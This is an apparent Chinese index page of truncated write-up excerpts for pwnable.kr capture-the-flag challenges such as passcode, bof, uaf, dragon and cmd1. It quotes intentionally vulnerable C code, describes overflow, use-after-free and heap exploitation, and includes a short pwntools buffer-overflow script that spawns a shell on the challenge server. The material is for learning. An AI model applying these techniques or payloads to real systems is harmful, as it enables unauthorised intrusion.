pwnable.kr之passcode】的更多相关文章

前段时间找到一个练习pwn的网站,pwnable.kr 这里记录其中的passcode的做题过程,给自己加深印象. 废话不多说了,看一下题目, 看到题目,就ssh连接进去,就看到三个文件如下 看了一下我们的用户名,并不能直接查看flag这个文件.查看passcode.c的源码看一下 #include <stdio.h> #include <stdlib.h> void login(){ int passcode1; int passcode2; printf("enter…
pwnable从入门到放弃,第六题. ssh passcode@pwnable.kr -p2222 (pw:guest) 完全是‘&’的锅. #include <stdio.h> #include <stdlib.h> void login(){ int passcode1; int passcode2; printf("enter passcode1 : "); scanf("%d", passcode1); fflush(stdi…
使用ssh passcode@pwnable.kr -p2222登录到远程服务器, ls -l 查看目录下的文件, -r--r----- root passcode_pwn Jun flag -r-xr-sr-x root passcode_pwn Jun passcode -rw-r--r-- root root Jun passcode.c 先运行一下passcode,发现没啥,就直接打开原代码, #include <stdio.h> #include <stdlib.h> v…
先看源码: #include <stdio.h> #include <stdlib.h> void login(){ int passcode1; int passcode2; printf("enter passcode1 : "); scanf("%d", passcode1); fflush(stdin); // ha! mommy told me that 32bit is vulnerable to bruteforcing :)…
Daddy told me about cool MD5 hash collision today. I wanna do something like that too! ssh col@pwnable.kr -p2222 (pw:guest) 先看源代码: #include <stdio.h> #include <string.h> unsigned long hashcode = 0x21DD09EC; unsigned long check_password(const c…
pwnable从入门到放弃第二题, ssh col@pwnable.kr -p2222 (pw:guest) 同样是登录,然后看到了col.c.col.flag三个文件,读一下col.c #include <stdio.h> #include <string.h> unsigned long hashcode = 0x21DD09EC; unsigned long check_password(const char* p){ int* ip = (int*)p; int i; ;…
这一题与前两题不同,用到了静态调试工具ida 首先题中给出了源码: #include <stdio.h> #include <string.h> #include <stdlib.h> void func(int key){ ]; printf("overflow me : "); gets(overflowme); // smash me! if(key == 0xcafebabe){ system("/bin/sh"); }…
I made a simple brain-fuck language emulation program written in C. The [ ] commands are not implemented yet. However the rest functionality seems working fine. Find a bug and exploit it to get a shell. Download : http://pwnable.kr/bin/bf Download :…
main函数如下: auth函数如下: 程序的流程如下: 输入Authenticate值,并base64解码,将解码的值代入md5_auth函数中 mad5_auth()生成其MD5值并与f87cd601aa7fedca99018a8be88eda34相比,如果相等则调用correct函数,得到shell 找12个字符进行base64加密: 将值输入找到溢出点: 发现AAAA覆盖了main函数的ebp,程序执行到leave出错. leave相当于以下两条指令 指令 含义 MOV ESP, EBP…
i春秋作家:W1ngs 原文来自:pwnable.kr详细通关秘籍(二) 0x00 input 首先看一下代码: 可以看到程序总共有五步,全部都满足了才可以得到flag,那我们就一步一步来看 这道题考到了很多linux下的基本操作,参数输入.管道符.进程间通信等知识,推荐大家可以先看看<深入理解计算机系统这本书>,补补基础 1.Step1(argv) if(argc != 100) return 0; 也就是说输入为一百个参数,其中索引为大写A(65)的值为\x00,索引为B的值为\x20\x…
这道题是pwnable.kr Rookiss部分的simple login,需要我们去覆盖程序的ebp,eip,esp去改变程序的执行流程   主要逻辑是输入一个字符串,base64解码后看是否与题目给定字符串一致,如果一致返回一个shell,仔细分析发现并不像网上普遍说的导致栈溢出.嗯,菜鸡如我觉得还是有必要做下笔记的=W=   看一下关键函数的反汇编    auth函数调用形参v6,因为v6<0xc才会执行auth,所以即使auth调用了memcpy,v4数组大小12也不会栈溢出 所以这道题…
3.bof 这题就是简单的数组越界覆盖,直接用gdb 调试出偏移就ok from pwn import * context.log_level='debug' payload='A'*52+p32(0xcafebabe) print payload turn=True if turn: p=remote('pwnable.kr',9000) else: p=process('./bof') p.sendline(payload) p.interactive() 4.flag 这道题...严重坑,…
0x00: dragon 是一个UAF漏洞的利用. UseAfterFree 是堆的漏洞利用的一种 简单介绍 https://www.owasp.org/index.php/Using_freed_memory 简单的来说就是 再次使用了 free 掉的内存 0x01:简单看一下 运行起来看一下 是一个RPG游戏,有两种角色,每个角色的技能不一样(战士法师之类的吧...) 在进IDA分析的时候,发现龙是分两种的 baby_dragon 和 mommy_dragon,两种的血量和攻击力也各不相同.…
Q: I don't understand why my exploit is not working. I need your help. download : http://pwnable.kr/bin/wtf download : http://pwnable.kr/bin/wtf.py Running at : nc pwnable.kr 9015 write-ups: Thanks to the pipe in Kernel is 4KB. if we fill it over 4KB…
Dragon —— 堆之 uaf 开始堆的学习之旅. uaf漏洞利用到了堆的管理中fastbin的特性,关于堆的各种分配方式参见堆之*bin理解 在SecretLevel函数中,发现了隐藏的system("/bin/sh")调用,虽然无法直接执行,但无疑会是后续进展中的有力武器. 在和恐龙战斗的函数结束部分,发现了free掉但没有置空的free(dragon)语句,而在对战胜利后恰有开辟相同大小的空间,并自主写入的部分,由此产生了uaf漏洞. >>在将dragon的结构体f…
一道写shellcode的题目, #include <stdio.h> #include <string.h> #include <stdlib.h> #include <sys/mman.h> #include <seccomp.h> #include <sys/prctl.h> #include <fcntl.h> #include <unistd.h> #define LENGTH 128 void sa…
Download : http://pwnable.kr/bin/login Running at : nc pwnable.kr 9003 先看看ida里面的逻辑. 比较重要的信息时input变量再bss段上,并且没有PIE保护,这样一来就有了一个已知的地址(这很重要 需要输入的是信息的base64编码,而input变量中存储的是输入信息base解码后的内容. 继续跟踪auth函数,发现了一个溢出. 变量v4放在ebp-8的位置,而最多会复制a1长(a1<=0xC),因此会覆盖了EBP. 尝试…
pwnable.kr第二关第一题: ========================================= Download : http://pwnable.kr/bin/bfDownload : http://pwnable.kr/bin/bf_libc.so Running at : nc pwnable.kr 9001 ========================================== 一人饮酒醉的僵尸?? 这次题目也更偏向于PWN了吧...(?)也没有源代…
pwnable.kr 第一阶段的最后一题! 这道题目就是堆溢出的经典利用题目,不过是把堆块的分配与释放操作用C++重新写了一遍,可参考<C和C++安全编码一书>//不是广告 #include <stdio.h> #include <stdlib.h> #include <string.h> typedef struct tagOBJ{ struct tagOBJ* fd; struct tagOBJ* bk; ]; }OBJ; void shell(){ s…
pwnable的新一题,和堆分配相关. http://pwnable.kr/bin/memcpy.c ssh memcpy@pwnable.kr -p2222 (pw:guest) 我觉得主要考察的是堆块分配问题. 推荐<C和C++安全编码> 首先通过阅读源代码,看一下题目大意. // compiled with : gcc -o memcpy memcpy.c -m32 -lm #include <stdio.h> #include <string.h> #inclu…
pwnable新的一题. download: http://pwnable.kr/bin/codemap.exe ssh codemap@pwnable.kr -p2222 (pw:guest) 这道题虽然是在pwnable下,但是是一道逆向题... //前web狗膜一发二进制大佬 根据提示,需要查看 0x403E65 运行时,寄存器 EAX,EBX 的内容. 先不考虑运行的内容,先看程序.首先这个程序没有加壳,直接可以用ida查看内容. 然后可以看到程序的框架,在main函数中,默默按下F5.…
目测是比较接近pwnable的一道题.考察了uaf(use after free的内容),我觉得说白了就是指针没有初始化的问题. ssh uaf@pwnable.kr -p2222 (pw:guest) 先看一下代码 #include <fcntl.h> #include <iostream> #include <cstring> #include <cstdlib> #include <unistd.h> using namespace std…
这道题是一道一遍一遍满足程序需求的题. 网上其他的题解都是用了C语言或者python语言的本地调用,我想联系一下pwntools的远程调用就写了下面的脚本, 执行效果可以通过1~4的检测,到最后socket的检测死活连不上了,怀疑是有防火墙,对进出端口的端口号做了限制,把脚本丢到服务器上执行就可以成功了. 那和之前的别人的题解 有啥区别... 权当练习使用pwntools,而且pwntools的文档真心不错. 最后一部分第五个检测不太好用,先扔脚本当个备份吧... from pwn import…
这道题是上一个cmd1的升级版 ssh cmd2@pwnable.kr -p2222 (pw:mommy now I get what PATH environmentis for :)) 登录之后,还是审计一下源代码: #include <stdio.h> #include <string.h> int filter(char* cmd){ ; r += strstr(cmd, ; r += strstr(cmd, ; r += strstr(cmd, ; r += strstr…
最近的pwnable都是linux操作系统层面的. ssh cmd1@pwnable.kr -p2222 (pw:guest) 首先还是下载源代码: #include <stdio.h> #include <string.h> int filter(char* cmd){ int r=0; r += strstr(cmd, "flag")!=0; r += strstr(cmd, "sh")!=0; r += strstr(cmd, &quo…
pwnable.好像最近的几道题都不需要看汇编. ssh lotto@pwnable.kr -p2222 (pw:guest) 直接down下来源码 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> unsigned ]; void play(){ int i; printf("Submit your 6 lotto bytes : "…
又一道pwnable nc pwnable.kr 9009 读题找到源代码在:http://cboard.cprogramming.com/c-programming/114023-simple-blackjack-program.html 第一反应是源代码这么长,还不如先玩玩看. 首先,看一下游戏规则发现和21点游戏是一样的,可能国外就叫blackjack吧. 每次,让游戏中下注,然后和电脑比赛,下注的金额不能超过所持有的金额. 这尼玛发牌函数也是随机的,就算你运气再好,算法再牛,想挣100w…
pwnable从入门到放弃又一发 说是一道pwnable,其实是一道coding... nc pwnable.kr 9007 连接上看看,玩硬币? 老子是来拿flag的,谁来哄孩子来了!!! 算了,flag要紧. 就说一堆硬币,有一个假的,比真的轻,要找出来,哄孩子我不会,二分法我会啊!! 上脚本 # coding:utf-8 from pwn import * import re def get_weight(start,end,r): #global r send_str = ""…
又一道pwnable,我还没放弃.. ssh mistake@pwnable.kr -p2222 (pw:guest) 源代码如下: #include <stdio.h> #include <fcntl.h> #define PW_LEN 10 #define XORKEY 1 void xor(char* s, int len){ int i; ; i<len; i++){ s[i] ^= XORKEY; } } int main(int argc, char* argv[…
pwnable从入门到放弃第八题. Download : http://pwnable.kr/bin/leg.cDownload : http://pwnable.kr/bin/leg.asm ssh leg@pwnable.kr -p2222 (pw:guest) 先下载这两个文件:leg.c #include <stdio.h> #include <fcntl.h> int key1(){ asm("mov r3, pc\n"); } int key2(){…